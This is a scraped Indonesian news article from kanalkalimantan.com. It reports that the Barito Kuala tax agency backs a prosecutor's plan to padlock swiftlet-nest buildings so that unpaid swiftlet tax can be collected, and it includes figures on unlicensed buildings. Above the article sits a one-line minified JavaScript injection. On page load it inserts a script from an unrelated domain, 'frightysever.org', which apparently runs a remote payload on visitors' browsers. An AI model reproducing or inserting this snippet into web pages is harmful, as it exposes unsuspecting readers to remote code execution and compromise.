(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
MARABAHAN, Badan Pengelolaan Pajak dan Retribusi Daerah (BP2RD) Batola menyambut baik saran Kejaksaan Negeri (Kejari) Batola meminta pemerintah daerah sediakan gembok untuk setiap rumah walet yang akan ditagih retribusinya.
Upaya ini dilakukan guna mengoptimalkan pembayaran pajak walet yang hingga saat ini ratusan bangunan berdiri tersebar di Kabupaten Barito Kuala.“Iya saya kira permintaan dari Kejaksaan Negeri untuk menggembok setiap rumah walet itu positif. Kita menyambut baik,†kata Kepala BP2RD Batola Ardiansyah.
Menurutnya, ide kedepan Kajari Batola soal empat gembok itu sangat positif dalam rangka rangka optimalnya pembayaran pajak walet dan merupakan suatu terobosan yang harus diapresiasi.
“Kami mendukung pemikiran Kajari. Namun ;angkah awal akan dilakukan sosialisasi dulu tentang Perda pajak kepada pemilik sarang wallet, sekaligus dilakukan penagihan secara aktif,†kata Ardiansyah.
Sebelumnya Kejaksaan Negeri Batola meminta Pemkab Batola untuk membelikan empat gembok untuk setiap rumah walet yang akan ditagih pajaknya. Empat gembok ini untuk memudahkan penagihan tim dari kejaksaan bersama anggota tim lainnya untuk menagih para pengemplang pajak walet di Batola.
“Iya kita minta empat gembok untuk setiap rumah walet yang akan ditagih pajaknya,†kata Kajari Kabupaten Batola La Kanna.
Menurut La Kanna, formula penggembokan rumah walet ini sudah berhasil di Kapuas dan Muara Teweh, Kalteng. Silahkan cari di google pola penggembokan bangunan walet di Kapuas dan Muara Teweh ini.
“Empat gembok itu untuk dengan perincian satu buah gembok untuk kejaksaan, satu buah gembok untuk Satpol PP, satu gembok untuk pemilik rumah walet dan satu gembok untuk Badan Pengelolaan Pajak dan Retribusi Daerah (BP2RD) Batola,†katanya.
La Kanna menegaskan dengan empat gembok tersebut, maka pihak pemilik rumah walet itu tak bisa membuka rumah walet, kecuali mengajak tiga pihak lainnya, yakni Satpol PP, Kejaksaan dan BP2RD.
“Untuk panen walet pun kita hitung bareng-bareng karena gemboknya ada empat buah. Setelah dihitung saat panen walet oleh empat pihak, maka langsung dibayar juga pajak waletnya,†tegas La Kanna.
Terkait penarikan pajak walet ini diketahui berdasarkan data yang diperoleh dari
DPMPTSP Kabupaten Batola, ada sebanyak 708 bangunan sarang walet ternyata tidak berizin atau liar sehingga keberadaaannya pun tidak memberikan pemasukan bagi pendapatan asli daerah (PAD).
Semua lokasi sarang walet di Batola itu berjumlah 792 buah dan baru 84 lokasi yang mengantongi izin dari DPMPTSP Kabupaten Batola. Dan baru 2 perusahaan yang baru membayar pajak walet. (rendy)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.